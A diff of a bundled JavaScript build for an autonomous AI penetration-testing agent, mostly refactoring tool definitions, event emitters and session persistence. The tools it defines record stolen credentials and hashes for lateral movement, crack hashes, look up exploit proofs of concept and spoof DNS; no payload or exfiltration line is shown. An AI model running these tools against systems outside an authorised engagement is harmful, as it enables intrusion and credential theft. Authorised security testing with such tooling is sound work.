- **Affected:** ${cve.affected}
4390
- **Description:** ${cve.description}`
4642
+ output: `Hash cracking started in background (ID: ${proc.id}).
4643
+ Command: ${cmd}
4644
+ Check status with: bg_process({ action: "status", process_id: "${proc.id}" })`
4391
4645
  };
4646
+ } else {
4647
+ return runCommand(cmd);
4392
4648
  }
4393
- return {
4394
- success: true,
4395
- output: `CVE ${cveId} not in local database. Use web_search({ query: "${cveId} exploit POC" }) to find more information online.`
4396
- };
4397
- }
4398
- },
4399
- {
4400
- name: TOOL_NAMES.ADD_TARGET,
4401
- description: `Register a new target for the engagement.
4402
- Use this when you discover new hosts during recon, pivoting, or post-exploitation.
4403
- The target will be tracked in SharedState and available for all agents.`,
4404
- parameters: {
4405
- ip: { type: "string", description: "Target IP address" },
4406
- hostname: { type: "string", description: "Target hostname (optional)" },
4407
- ports: {
4408
- type: "array",
4409
- items: {
4410
- type: "object",
4411
- properties: {
4412
- port: { type: "number", description: "Port number" },
4413
- service: { type: "string", description: "Service name (e.g., http, ssh)" },
4414
- version: { type: "string", description: "Service version" },
4415
- state: { type: "string", description: "Port state (default: open)" }
4416
- },
4417
- required: ["port", "service"]
4418
- },
4419
- description: "Discovered ports (optional, can add later via recon)"
4420
- },
4421
- tags: {
4422
- type: "array",
4423
- items: { type: "string" },
4424
- description: 'Tags for categorization (e.g., "internal", "dmz", "pivot")'
4425
- }
4426
- },
4427
- required: ["ip"],
4428
- execute: async (p) => {
4429
- const ip = p.ip;
4430
- const existing = state.getTarget(ip);
4431
- if (existing) {
4432
- const newPorts = p.ports || [];
4433
- for (const np of newPorts) {
4434
- const exists = existing.ports.some((ep) => ep.port === np.port);
4435
- if (!exists) {
4436
- existing.ports.push({
4437
- port: np.port,
4438
- service: np.service || "unknown",
4439
- version: np.version,
4440
- state: np.state || "open",
4441
- notes: []
4442
- });
4443
- }
4444
- }
4445
- if (p.hostname) existing.hostname = p.hostname;
4446
- if (p.tags) existing.tags = [.../* @__PURE__ */ new Set([...existing.tags, ...p.tags])];
4447
- return { success: true, output: `Target ${ip} updated. Total ports: ${existing.ports.length}` };
4448
- }
4449
- const ports = (p.ports || []).map((port) => ({
4450
- port: port.port,
4451
- service: port.service || "unknown",
4452
- version: port.version,
4453
- state: port.state || "open",
4454
- notes: []
4455
- }));
4456
- state.addTarget({
4457
- ip,
4458
- hostname: p.hostname,
4459
- ports,
4460
- tags: p.tags || [],
4461
- firstSeen: Date.now()
4462
- });
4463
- return { success: true, output: `Target ${ip} added.${p.hostname ? ` Hostname: ${p.hostname}` : ""} Ports: ${ports.length}` };
4464
- }
4465
- },
4466
- {
4467
- name: TOOL_NAMES.ADD_LOOT,
4468
- description: `Record captured loot (credentials, hashes, tokens, SSH keys, files, etc).
4469
- Use this whenever you discover sensitive data during the engagement.
4470
- Loot is tracked in SharedState and visible to all agents for credential reuse and lateral movement.
4471
- Types: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate`,
4472
- parameters: {
4473
- type: { type: "string", description: "Loot type: credential, hash, token, ssh_key, api_key, file, session, ticket, certificate" },
4474
- host: { type: "string", description: "Source host where loot was found" },
4475
- detail: { type: "string", description: 'Loot detail (e.g., "admin:Password123", "root:$6$...", "JWT admin token")' }
4476
- },
4477
- required: ["type", "host", "detail"],
4478
- execute: async (p) => {
4479
- const lootType = p.type;
4480
- const crackableTypes = ["hash"];
4481
- state.addLoot({
4482
- type: lootType,
4483
- host: p.host,
4484
- detail: p.detail,
4485
- obtainedAt: Date.now(),
4486
- isCrackable: crackableTypes.includes(lootType),
4487
- isCracked: false
4488
- });
4489
- return {
4490
- success: true,
4491
- output: `Loot recorded: [${lootType}] from ${p.host}
4492
- Detail: ${p.detail}
4493
- ` + (crackableTypes.includes(lootType) ? `This is crackable. Consider: hash_crack({ hashes: "${p.detail.slice(0, 30)}..." })` : `Consider credential reuse / lateral movement with this loot.`)
4494
- };
4495
- }
4496
- },
4497
- {
4498
- name: TOOL_NAMES.ADD_FINDING,
4499
- description: "Add a security finding",
4500
- parameters: {
4501
- title: { type: "string", description: "Finding title" },
4502
- severity: { type: "string", description: "Severity" },
4503
- affected: { type: "array", items: { type: "string" }, description: "Affected host:port" }
4504
- },
4505
- required: ["title", "severity"],
4506
- execute: async (p) => {
4507
- state.addFinding({
4508
- id: generateId(ID_RADIX, ID_LENGTH),
4509
- title: p.title,
4510
- severity: p.severity,
4511
- affected: p.affected || [],
4512
- description: p.description || "",
4513
- evidence: [],
4514
- isVerified: false,
4515
- remediation: "",
4516
- foundAt: Date.now()
4517
- });
4518
- return { success: true, output: `Added: ${p.title}` };
4519
4649
  }
4520
4650
  },
4521
4651
  {
@@ -4568,12 +4698,6 @@ ${variantList}
4568
4698
  };
4569
4699
  }
4570
4700
  },
4571
- {
4572
- name: TOOL_NAMES.GET_STATE,
4573
- description: "Get current engagement state summary",
4574
- parameters: {},
4575
- execute: async () => ({ success: true, output: state.toPrompt() })
4576
- },
4577
4701
  {
4578
4702
  name: TOOL_NAMES.GET_WORDLISTS,
4579
4703
  description: `Discover available wordlists on the system by scanning actual filesystem paths.
@@ -4606,8 +4730,8 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
4606
4730
  }
4607
4731
  },
4608
4732
  execute: async (p) => {
4609
- const { existsSync: existsSync6, statSync, readdirSync: readdirSync2 } = await import("fs");
4610
- const { join: join7 } = await import("path");
4733
+ const { existsSync: existsSync7, statSync: statSync2, readdirSync: readdirSync3 } = await import("fs");
4734
+ const { join: join10 } = await import("path");
4611
4735
  const category = p.category || "";
4612
4736
  const search = p.search || "";
4613
4737
  const minSize = p.min_size || 0;
@@ -4622,11 +4746,11 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
4622
4746
  let totalCount = 0;
4623
4747
  const scanDir = (dirPath, maxDepth = 3, currentDepth = 0) => {
4624
4748
  if (currentDepth > maxDepth) return;
4625
- if (!existsSync6(dirPath)) return;
4749
+ if (!existsSync7(dirPath)) return;
4626
4750
  try {
4627
- const entries = readdirSync2(dirPath, { withFileTypes: true });
4751
+ const entries = readdirSync3(dirPath, { withFileTypes: true });
4628
4752
  for (const entry of entries) {
4629
- const fullPath = join7(dirPath, entry.name);
4753
+ const fullPath = join10(dirPath, entry.name);
4630
4754
  if (entry.isDirectory()) {
4631
4755
  if (entry.name.startsWith(".")) continue;
4632
4756
  if (entry.name === "doc") continue;
@@ -4637,7 +4761,7 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
4637
4761
  continue;
4638
4762
  }
4639
4763
  try {
4640
- const stats = statSync(fullPath);
4764
+ const stats = statSync2(fullPath);
4641
4765
  const sizeBytes = stats.size;
4642
4766
  if (sizeBytes < minSize) continue;
4643
4767
  const relPath = fullPath;
@@ -4712,6 +4836,14 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
4712
4836
  }
4713
4837
  ];
4714
4838
 
4839
+ // src/engine/tools/pentest.ts
4840
+ var createPentestTools = (state) => [
4841
+ ...createStateTools(state),
4842
+ ...createTargetTools(state),
4843
+ ...createIntelTools(state),
4844
+ ...createAttackTools(state)
4845
+ ];
4846
+
4715
4847
  // src/engine/tools/agents.ts
4716
4848
  var globalCredentialHandler = null;
4717
4849
  function setCredentialHandler(handler) {
@@ -4727,7 +4859,7 @@ async function requestCredential(request) {
4727
4859
  try {
4728
4860
  const value = await globalCredentialHandler(request);
4729
4861
  if (value === null) {
4730
- if (request.optional) {
4862
+ if (request.isOptional) {
4731
4863
  return {
4732
4864
  success: true,
4733
4865
  output: `User skipped: ${request.prompt}${request.default ? ` (using default)` : ""}`,
@@ -4779,7 +4911,7 @@ Always provide context about why you need this input.`,
4779
4911
  type: "string",
4780
4912
  description: 'Additional context (e.g., "for SSH connection to 192.168.1.1")'
4781
4913
  },
4782
- optional: {
4914
+ isOptional: {
4783
4915
  type: "boolean",
4784
4916
  description: "Whether this input is optional"
4785
4917
  },
@@ -4795,7 +4927,7 @@ Always provide context about why you need this input.`,
4795
4927
  type: p.input_type || INPUT_TYPES.TEXT,
4796
4928
  prompt: p.question,
4797
4929
  context: p.context,
4798
- optional: p.optional,
4930
+ isOptional: p.isOptional,
4799
4931
  options: p.options
4800
4932
  };
4801
4933
  const result2 = await requestCredential(request);
@@ -5039,8 +5171,8 @@ Requires root/sudo privileges.`,
5039
5171
  const iface = p.interface || "";
5040
5172
  const duration = p.duration || NETWORK_CONFIG.DEFAULT_SPOOF_DURATION;
5041
5173
  const hostsFile = createTempFile(".hosts");
5042
- const { writeFileSync: writeFileSync5 } = await import("fs");
5043
- writeFileSync5(hostsFile, `${spoofIp} ${domain}
5174
+ const { writeFileSync: writeFileSync6 } = await import("fs");
5175
+ writeFileSync6(hostsFile, `${spoofIp} ${domain}
5044
5176
  ${spoofIp} *.${domain}
5045
5177
  `);
5046
5178
  const ifaceFlag = iface ? `-i ${iface}` : "";
@@ -5742,81 +5874,81 @@ var ServiceParser = class {
5742
5874
  };
5743
5875
 
5744
5876
  // src/domains/registry.ts
5745
- import { join as join4, dirname as dirname2 } from "path";
5746
- import { fileURLToPath as fileURLToPath2 } from "url";
5747
- var __dirname2 = dirname2(fileURLToPath2(import.meta.url));
5877
+ import { join as join6, dirname as dirname3 } from "path";
5878
+ import { fileURLToPath as fileURLToPath3 } from "url";
5879
+ var __dirname3 = dirname3(fileURLToPath3(import.meta.url));
5748
5880
  var DOMAINS = {
5749
5881
  [SERVICE_CATEGORIES.NETWORK]: {
5750
5882
  id: SERVICE_CATEGORIES.NETWORK,
5751
5883
  name: "Network Infrastructure",
5752
5884
  description: "Vulnerability scanning, port mapping, and network service exploitation.",
5753
- promptPath: join4(__dirname2, "network/prompt.md")
5885
+ promptPath: join6(__dirname3, "network/prompt.md")
5754
5886
  },
5755
5887
  [SERVICE_CATEGORIES.WEB]: {
5756
5888
  id: SERVICE_CATEGORIES.WEB,
5757
5889
  name: "Web Application",
5758
5890
  description: "Web app security testing, injection attacks, and auth bypass.",
5759
- promptPath: join4(__dirname2, "web/prompt.md")
5891
+ promptPath: join6(__dirname3, "web/prompt.md")
5760
5892
  },
5761
5893
  [SERVICE_CATEGORIES.DATABASE]: {
5762
5894
  id: SERVICE_CATEGORIES.DATABASE,
5763
5895
  name: "Database Security",
5764
5896
  description: "SQL injection, database enumeration, and data extraction.",
5765
- promptPath: join4(__dirname2, "database/prompt.md")
5897
+ promptPath: join6(__dirname3, "database/prompt.md")
5766
5898
  },
5767
5899
  [SERVICE_CATEGORIES.AD]: {
5768
5900
  id: SERVICE_CATEGORIES.AD,
5769
5901
  name: "Active Directory",
5770
5902
  description: "Kerberos, LDAP, and Windows domain privilege escalation.",
5771
- promptPath: join4(__dirname2, "ad/prompt.md")
5903
+ promptPath: join6(__dirname3, "ad/prompt.md")
5772
5904
  },
5773
5905
  [SERVICE_CATEGORIES.EMAIL]: {
5774
5906
  id: SERVICE_CATEGORIES.EMAIL,
5775
5907
  name: "Email Services",
5776
5908
  description: "SMTP, IMAP, POP3 security and user enumeration.",
5777
- promptPath: join4(__dirname2, "email/prompt.md")
5909
+ promptPath: join6(__dirname3, "email/prompt.md")
5778
5910
  },
5779
5911
  [SERVICE_CATEGORIES.REMOTE_ACCESS]: {
5780
5912
  id: SERVICE_CATEGORIES.REMOTE_ACCESS,
5781
5913
  name: "Remote Access",
5782
5914
  description: "SSH, RDP, VNC and other remote control protocols.",
5783
- promptPath: join4(__dirname2, "remote-access/prompt.md")
5915
+ promptPath: join6(__dirname3, "remote-access/prompt.md")
5784
5916
  },
5785
5917
  [SERVICE_CATEGORIES.FILE_SHARING]: {
5786
5918
  id: SERVICE_CATEGORIES.FILE_SHARING,
5787
5919
  name: "File Sharing",
5788
5920
  description: "SMB, NFS, FTP and shared resource security.",
5789
- promptPath: join4(__dirname2, "file-sharing/prompt.md")
5921
+ promptPath: join6(__dirname3, "file-sharing/prompt.md")
5790
5922
  },
5791
5923
  [SERVICE_CATEGORIES.CLOUD]: {
5792
5924
  id: SERVICE_CATEGORIES.CLOUD,
5793
5925
  name: "Cloud Infrastructure",
5794
5926
  description: "AWS, Azure, and GCP security and misconfiguration.",
5795
- promptPath: join4(__dirname2, "cloud/prompt.md")
5927
+ promptPath: join6(__dirname3, "cloud/prompt.md")
5796
5928
  },
5797
5929
  [SERVICE_CATEGORIES.CONTAINER]: {
5798
5930
  id: SERVICE_CATEGORIES.CONTAINER,
5799
5931
  name: "Container Systems",
5800
5932
  description: "Docker and Kubernetes security testing.",
5801
- promptPath: join4(__dirname2, "container/prompt.md")
5933
+ promptPath: join6(__dirname3, "container/prompt.md")
5802
5934
  },
5803
5935
  [SERVICE_CATEGORIES.API]: {
5804
5936
  id: SERVICE_CATEGORIES.API,
5805
5937
  name: "API Security",
5806
5938
  description: "REST, GraphQL, and SOAP API security testing.",
5807
- promptPath: join4(__dirname2, "api/prompt.md")
5939
+ promptPath: join6(__dirname3, "api/prompt.md")
5808
5940
  },
5809
5941
  [SERVICE_CATEGORIES.WIRELESS]: {
5810
5942
  id: SERVICE_CATEGORIES.WIRELESS,
5811
5943
  name: "Wireless Networks",
5812
5944
  description: "WiFi and Bluetooth security testing.",
5813
- promptPath: join4(__dirname2, "wireless/prompt.md")
5945
+ promptPath: join6(__dirname3, "wireless/prompt.md")
5814
5946
  },
5815
5947
  [SERVICE_CATEGORIES.ICS]: {
5816
5948
  id: SERVICE_CATEGORIES.ICS,
5817
5949
  name: "Industrial Systems",
5818
5950
  description: "Critical infrastructure - Modbus, DNP3, ENIP.",
5819
- promptPath: join4(__dirname2, "ics/prompt.md")
5951
+ promptPath: join6(__dirname3, "ics/prompt.md")
5820
5952
  }
5821
5953
  };
5822
5954
 
@@ -6596,10 +6728,77 @@ function logLLM(message, data) {
6596
6728
  }
6597
6729
 
6598
6730
  // src/engine/orchestrator/orchestrator.ts
6599
- import { fileURLToPath as fileURLToPath3 } from "url";
6600
- import { dirname as dirname3, join as join5 } from "path";
6601
- var __filename2 = fileURLToPath3(import.meta.url);
6602
- var __dirname3 = dirname3(__filename2);
6731
+ import { fileURLToPath as fileURLToPath4 } from "url";
6732
+ import { dirname as dirname4, join as join7 } from "path";
6733
+ var __filename3 = fileURLToPath4(import.meta.url);
6734
+ var __dirname4 = dirname4(__filename3);
6735
+
6736
+ // src/engine/state-persistence.ts
6737
+ import { writeFileSync as writeFileSync5, readFileSync as readFileSync3, existsSync as existsSync5, readdirSync, statSync } from "fs";
6738
+ import { join as join8, basename } from "path";
6739
+ function saveState(state) {
6740
+ const sessionsDir = WORKSPACE.SESSIONS;
6741
+ ensureDirExists(sessionsDir);
6742
+ const snapshot = {
6743
+ version: 1,
6744
+ savedAt: Date.now(),
6745
+ engagement: state.getEngagement(),
6746
+ targets: Array.from(state.getTargets().entries()).map(([key, value]) => ({ key, value })),
6747
+ findings: state.getFindings(),
6748
+ loot: state.getLoot(),
6749
+ todo: state.getTodo(),
6750
+ actionLog: state.getRecentActions(9999),
6751
+ currentPhase: state.getPhase(),
6752
+ missionSummary: state.getMissionSummary(),
6753
+ missionChecklist: state.getMissionChecklist()
6754
+ };
6755
+ const sessionId = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-");
6756
+ const sessionFile = join8(sessionsDir, `${sessionId}.json`);
6757
+ writeFileSync5(sessionFile, JSON.stringify(snapshot, null, 2), "utf-8");
6758
+ const latestFile = join8(sessionsDir, "latest.json");
6759
+ writeFileSync5(latestFile, JSON.stringify(snapshot, null, 2), "utf-8");
6760
+ return sessionFile;
6761
+ }
6762
+ function loadState(state) {
6763
+ const latestFile = join8(WORKSPACE.SESSIONS, "latest.json");
6764
+ if (!existsSync5(latestFile)) {
6765
+ return false;
6766
+ }
6767
+ try {
6768
+ const raw = readFileSync3(latestFile, "utf-8");
6769
+ const snapshot = JSON.parse(raw);
6770
+ if (snapshot.version !== 1) {
6771
+ console.warn(`[StatePersistence] Unknown snapshot version: ${snapshot.version}`);
6772
+ return false;
6773
+ }
6774
+ if (snapshot.engagement) {
6775
+ state.setEngagement(snapshot.engagement);
6776
+ }
6777
+ for (const { value } of snapshot.targets) {
6778
+ state.addTarget(value);
6779
+ }
6780
+ for (const finding of snapshot.findings) {
6781
+ state.addFinding(finding);
6782
+ }
6783
+ for (const loot of snapshot.loot) {
6784
+ state.addLoot(loot);
6785
+ }
6786
+ for (const item of snapshot.todo) {
6787
+ state.addTodo(item.content, item.priority);
6788
+ }
6789
+ state.setPhase(snapshot.currentPhase);
6790
+ if (snapshot.missionSummary) {
6791
+ state.setMissionSummary(snapshot.missionSummary);
6792
+ }
6793
+ if (snapshot.missionChecklist?.length > 0) {
6794
+ state.addMissionChecklistItems(snapshot.missionChecklist.map((c) => c.text));
6795
+ }
6796
+ return true;
6797
+ } catch (err) {
6798
+ console.warn(`[StatePersistence] Failed to load state: ${err}`);
6799
+ return false;
6800
+ }
6801
+ }
6603
6802
 
6604
6803
  // src/agents/core-agent.ts
6605
6804
  var CoreAgent = class _CoreAgent {
@@ -6882,6 +7081,34 @@ Please decide how to handle this error and continue.`;
6882
7081
  }
6883
7082
  });
6884
7083
  }
7084
+ /** Emit tool call event for TUI tracking */
7085
+ emitToolCall(toolName, input) {
7086
+ this.events.emit({
7087
+ type: EVENT_TYPES.TOOL_CALL,
7088
+ timestamp: Date.now(),
7089
+ data: {
7090
+ toolName,
7091
+ input,
7092
+ approvalLevel: APPROVAL_LEVELS.AUTO,
7093
+ needsApproval: false
7094
+ }
7095
+ });
7096
+ }
7097
+ /** Emit tool result event for TUI tracking */
7098
+ emitToolResult(toolName, success, output, error, duration) {
7099
+ this.events.emit({
7100
+ type: EVENT_TYPES.TOOL_RESULT,
7101
+ timestamp: Date.now(),
7102
+ data: {
7103
+ toolName,
7104
+ success,
7105
+ output,
7106
+ outputSummary: output.slice(0, 200),
7107
+ error,
7108
+ duration
7109
+ }
7110
+ });
7111
+ }
6885
7112
  // ─────────────────────────────────────────────────────────────────
6886
7113
  // SUBSECTION: Tool Processing
6887
7114
  // ─────────────────────────────────────────────────────────────────
@@ -6941,16 +7168,7 @@ Please decide how to handle this error and continue.`;
6941
7168
  /** Execute tool calls in parallel via Promise.allSettled */
6942
7169
  async executeToolCallsInParallel(toolCalls, progress) {
6943
7170
  for (const call of toolCalls) {
6944
- this.events.emit({
6945
- type: EVENT_TYPES.TOOL_CALL,
6946
- timestamp: Date.now(),
6947
- data: {
6948
- toolName: call.name,
6949
- input: call.input,
6950
- approvalLevel: APPROVAL_LEVELS.AUTO,
6951
- needsApproval: false
6952
- }
6953
- });
7171
+ this.emitToolCall(call.name, call.input);
6954
7172
  }
6955
7173
  const promises = toolCalls.map((call) => this.executeSingleTool(call, progress));
6956
7174
  const settled = await Promise.allSettled(promises);
@@ -6963,17 +7181,8 @@ Please decide how to handle this error and continue.`;
6963
7181
  /** Execute tool calls sequentially */
6964
7182
  async executeToolCallsSequentially(toolCalls, progress) {
6965
7183
  const results = [];
6966
- for (const call of toolCalls) {
6967
- this.events.emit({
6968
- type: EVENT_TYPES.TOOL_CALL,
6969
- timestamp: Date.now(),
6970
- data: {
6971
- toolName: call.name,
6972
- input: call.input,
6973
- approvalLevel: APPROVAL_LEVELS.AUTO,
6974
- needsApproval: false
6975
- }
6976
- });
7184
+ for (const call of toolCalls) {
7185
+ this.emitToolCall(call.name, call.input);
6977
7186
  const result2 = await this.executeSingleTool(call, progress);
6978
7187
  results.push(result2);
6979
7188
  }
@@ -7013,35 +7222,13 @@ Please decide how to handle this error and continue.`;
7013
7222
  progress.blockedCommandPatterns.clear();
7014
7223
  }
7015
7224
  }
7016
- this.events.emit({
7017
- type: EVENT_TYPES.TOOL_RESULT,
7018
- timestamp: Date.now(),
7019
- data: {
7020
- toolName: call.name,
7021
- success: result2.success,
7022
- output: outputText,
7023
- outputSummary: outputText.slice(0, 200),
7024
- error: result2.error,
7025
- duration: Date.now() - toolStartTime
7026
- }
7027
- });
7225
+ this.emitToolResult(call.name, result2.success, outputText, result2.error, Date.now() - toolStartTime);
7028
7226
  return { toolCallId: call.id, output: outputText, error: result2.error };
7029
7227
  } catch (error) {
7030
7228
  const errorMsg = String(error);
7031
7229
  const enrichedError = this.enrichToolErrorContext({ toolName: call.name, input: call.input, error: errorMsg, originalOutput: "", progress });
7032
7230
  if (progress) progress.toolErrors++;
7033
- this.events.emit({
7034
- type: EVENT_TYPES.TOOL_RESULT,
7035
- timestamp: Date.now(),
7036
- data: {
7037
- toolName: call.name,
7038
- success: false,
7039
- output: enrichedError,
7040
- outputSummary: enrichedError.slice(0, 200),
7041
- error: errorMsg,
7042
- duration: Date.now() - toolStartTime
7043
- }
7044
- });
7231
+ this.emitToolResult(call.name, false, enrichedError, errorMsg, Date.now() - toolStartTime);
7045
7232
  return { toolCallId: call.id, output: enrichedError, error: errorMsg };
7046
7233
  }
7047
7234
  }
@@ -7140,9 +7327,9 @@ Please decide how to handle this error and continue.`;
7140
7327
  };
7141
7328
 
7142
7329
  // src/agents/prompt-builder.ts
7143
- import { readFileSync as readFileSync3, existsSync as existsSync5 } from "fs";
7144
- import { join as join6, dirname as dirname4 } from "path";
7145
- import { fileURLToPath as fileURLToPath4 } from "url";
7330
+ import { readFileSync as readFileSync4, existsSync as existsSync6 } from "fs";
7331
+ import { join as join9, dirname as dirname5 } from "path";
7332
+ import { fileURLToPath as fileURLToPath5 } from "url";
7146
7333
 
7147
7334
  // src/shared/constants/prompts.ts
7148
7335
  var PROMPT_PATHS = {
@@ -7195,9 +7382,9 @@ var INITIAL_TASKS = {
7195
7382
  };
7196
7383
 
7197
7384
  // src/agents/prompt-builder.ts
7198
- var __dirname4 = dirname4(fileURLToPath4(import.meta.url));
7199
- var PROMPTS_DIR = join6(__dirname4, "prompts");
7200
- var TECHNIQUES_DIR = join6(PROMPTS_DIR, PROMPT_PATHS.TECHNIQUES_DIR);
7385
+ var __dirname5 = dirname5(fileURLToPath5(import.meta.url));
7386
+ var PROMPTS_DIR = join9(__dirname5, "prompts");
7387
+ var TECHNIQUES_DIR = join9(PROMPTS_DIR, PROMPT_PATHS.TECHNIQUES_DIR);
7201
7388
  var { AGENT_FILES } = PROMPT_PATHS;
7202
7389
  var PHASE_PROMPT_MAP = {
7203
7390
  // Direct mappings — phase has its own prompt file
@@ -7273,8 +7460,8 @@ var PromptBuilder = class {
7273
7460
  * Load a prompt file from src/agents/prompts/
7274
7461
  */
7275
7462
  loadPromptFile(filename) {
7276
- const path2 = join6(PROMPTS_DIR, filename);
7277
- return existsSync5(path2) ? readFileSync3(path2, PROMPT_CONFIG.ENCODING) : "";
7463
+ const path3 = join9(PROMPTS_DIR, filename);
7464
+ return existsSync6(path3) ? readFileSync4(path3, PROMPT_CONFIG.ENCODING) : "";
7278
7465
  }
7279
7466
  /**
7280
7467
  * Load phase-specific prompt.
@@ -7317,15 +7504,15 @@ ${content}
7317
7504
  * use web_search to look up specific attack techniques on demand.
7318
7505
  */
7319
7506
  loadPhaseRelevantTechniques(phase) {
7320
- if (!existsSync5(TECHNIQUES_DIR)) return "";
7507
+ if (!existsSync6(TECHNIQUES_DIR)) return "";
7321
7508
  const relevantTechniques = PHASE_TECHNIQUE_MAP[phase] || [];
7322
7509
  if (relevantTechniques.length === 0) return "";
7323
7510
  const fragments = [];
7324
7511
  for (const technique of relevantTechniques) {
7325
- const filePath = join6(TECHNIQUES_DIR, `${technique}.md`);
7512
+ const filePath = join9(TECHNIQUES_DIR, `${technique}.md`);
7326
7513
  try {
7327
- if (!existsSync5(filePath)) continue;
7328
- const content = readFileSync3(filePath, PROMPT_CONFIG.ENCODING);
7514
+ if (!existsSync6(filePath)) continue;
7515
+ const content = readFileSync4(filePath, PROMPT_CONFIG.ENCODING);
7329
7516
  if (content) {
7330
7517
  fragments.push(`<technique-reference category="${technique}">
7331
7518
  ${content}
@@ -7381,6 +7568,10 @@ var MainAgent = class extends CoreAgent {
7381
7568
  const result2 = await this.run(userInput, this.getCurrentPrompt());
7382
7569
  return result2.output;
7383
7570
  } finally {
7571
+ try {
7572
+ saveState(this.state);
7573
+ } catch {
7574
+ }
7384
7575
  await cleanupAllProcesses();
7385
7576
  }
7386
7577
  }
@@ -7399,10 +7590,28 @@ var MainAgent = class extends CoreAgent {
7399
7590
  }
7400
7591
  // ─── Internal Helpers ────────────────────────────────────────
7401
7592
  initializeTask() {
7593
+ try {
7594
+ ensureDirExists(WORKSPACE.ROOT);
7595
+ } catch {
7596
+ }
7402
7597
  if (this.state.getTodo().length === 0) {
7403
7598
  this.state.addTodo(INITIAL_TASKS.RECON, PRIORITIES.HIGH);
7404
7599
  }
7405
7600
  }
7601
+ /**
7602
+ * Load previous session state from .pentesting/sessions/latest.json
7603
+ * @returns true if a previous session was restored
7604
+ */
7605
+ loadPreviousSession() {
7606
+ return loadState(this.state);
7607
+ }
7608
+ /**
7609
+ * Manually save current state to .pentesting/sessions/
7610
+ * @returns Path to the saved session file
7611
+ */
7612
+ saveCurrentState() {
7613
+ return saveState(this.state);
7614
+ }
7406
7615
  getCurrentPrompt() {
7407
7616
  const phase = this.state.getPhase() || PHASES.RECON;
7408
7617
  return this.promptBuilder.build(this.userInput, phase);
@@ -7469,10 +7678,10 @@ var AgentFactory = class {
7469
7678
  * Architecture: Single agent with all tools.
7470
7679
  * No sub-agents, no spawn_sub, no nested loops.
7471
7680
  */
7472
- static createMainAgent(autoApprove = false) {
7681
+ static createMainAgent(shouldAutoApprove = false) {
7473
7682
  const state = new SharedState();
7474
7683
  const events = new AgentEventEmitter();
7475
- const approvalGate = new ApprovalGate(autoApprove);
7684
+ const approvalGate = new ApprovalGate(shouldAutoApprove);
7476
7685
  const scopeGuard = new ScopeGuard(state);
7477
7686
  const toolRegistry = new CategorizedToolRegistry(
7478
7687
  state,
@@ -7484,6 +7693,54 @@ var AgentFactory = class {
7484
7693
  }
7485
7694
  };
7486
7695
 
7696
+ // src/platform/tui/utils/format.ts
7697
+ var formatDuration = (ms) => {
7698
+ const totalSec = ms / 1e3;
7699
+ if (totalSec < 60) return `${totalSec.toFixed(1)}s`;
7700
+ const minutes = Math.floor(totalSec / 60);
7701
+ const seconds = Math.floor(totalSec % 60);
7702
+ return `${minutes}m ${seconds}s`;
7703
+ };
7704
+ var formatTokens = (count) => {
7705
+ if (count >= 1e6) return (count / 1e6).toFixed(1) + "M";
7706
+ if (count >= 1e3) return (count / 1e3).toFixed(1) + "K";
7707
+ return String(count);
7708
+ };
7709
+ var formatMeta = (ms, tokens) => {
7710
+ const parts = [];
7711
+ if (ms > 0) parts.push(formatDuration(ms));
7712
+ if (tokens > 0) parts.push(`\u2191 ${formatTokens(tokens)} tokens`);
7713
+ return parts.length > 0 ? `(${parts.join(" \xB7 ")})` : "";
7714
+ };
7715
+ var formatInlineStatus = () => {
7716
+ const zombieHunter2 = new ZombieHunter();
7717
+ const healthMonitor2 = new HealthMonitor();
7718
+ const processes = listBackgroundProcesses();
7719
+ const zombies = zombieHunter2.scan();
7720
+ const health = healthMonitor2.check();
7721
+ const statusData = {
7722
+ processes: processes.map((p) => ({
7723
+ id: p.id,
7724
+ role: p.role,
7725
+ description: p.description,
7726
+ purpose: p.purpose,
7727
+ running: p.isRunning,
7728
+ durationMs: p.durationMs,
7729
+ listeningPort: p.listeningPort,
7730
+ exitCode: p.exitCode
7731
+ })),
7732
+ zombies: zombies.map((z) => ({
7733
+ processId: z.processId,
7734
+ orphanedChildren: z.orphanedChildren
7735
+ })),
7736
+ health: health.overall
7737
+ };
7738
+ return JSON.stringify(statusData);
7739
+ };
7740
+
7741
+ // src/platform/tui/hooks/useAgentState.ts
7742
+ import { useState, useRef, useCallback } from "react";
7743
+
7487
7744
  // src/shared/constants/thought.ts
7488
7745
  var THOUGHT_TYPE = {
7489
7746
  THINKING: "thinking",
@@ -7742,53 +7999,8 @@ var HELP_TEXT = `
7742
7999
  /auto (toggle approval mode)
7743
8000
  `;
7744
8001
 
7745
- // src/platform/tui/utils/format.ts
7746
- var formatDuration = (ms) => {
7747
- const totalSec = ms / 1e3;
7748
- if (totalSec < 60) return `${totalSec.toFixed(1)}s`;
7749
- const minutes = Math.floor(totalSec / 60);
7750
- const seconds = Math.floor(totalSec % 60);
7751
- return `${minutes}m ${seconds}s`;
7752
- };
7753
- var formatTokens = (count) => {
7754
- if (count >= 1e6) return (count / 1e6).toFixed(1) + "M";
7755
- if (count >= 1e3) return (count / 1e3).toFixed(1) + "K";
7756
- return String(count);
7757
- };
7758
- var formatMeta = (ms, tokens) => {
7759
- const parts = [];
7760
- if (ms > 0) parts.push(formatDuration(ms));
7761
- if (tokens > 0) parts.push(`\u2191 ${formatTokens(tokens)} tokens`);
7762
- return parts.length > 0 ? `(${parts.join(" \xB7 ")})` : "";
7763
- };
7764
- var formatInlineStatus = () => {
7765
- const zombieHunter2 = new ZombieHunter();
7766
- const healthMonitor2 = new HealthMonitor();
7767
- const processes = listBackgroundProcesses();
7768
- const zombies = zombieHunter2.scan();
7769
- const health = healthMonitor2.check();
7770
- const statusData = {
7771
- processes: processes.map((p) => ({
7772
- id: p.id,
7773
- role: p.role,
7774
- description: p.description,
7775
- purpose: p.purpose,
7776
- running: p.isRunning,
7777
- durationMs: p.durationMs,
7778
- listeningPort: p.listeningPort,
7779
- exitCode: p.exitCode
7780
- })),
7781
- zombies: zombies.map((z) => ({
7782
- processId: z.processId,
7783
- orphanedChildren: z.orphanedChildren
7784
- })),
7785
- health: health.overall
7786
- };
7787
- return JSON.stringify(statusData);
7788
- };
7789
-
7790
- // src/platform/tui/hooks/useAgent.ts
7791
- var useAgent = (autoApprove, target) => {
8002
+ // src/platform/tui/hooks/useAgentState.ts
8003
+ var useAgentState = () => {
7792
8004
  const [messages, setMessages] = useState([]);
7793
8005
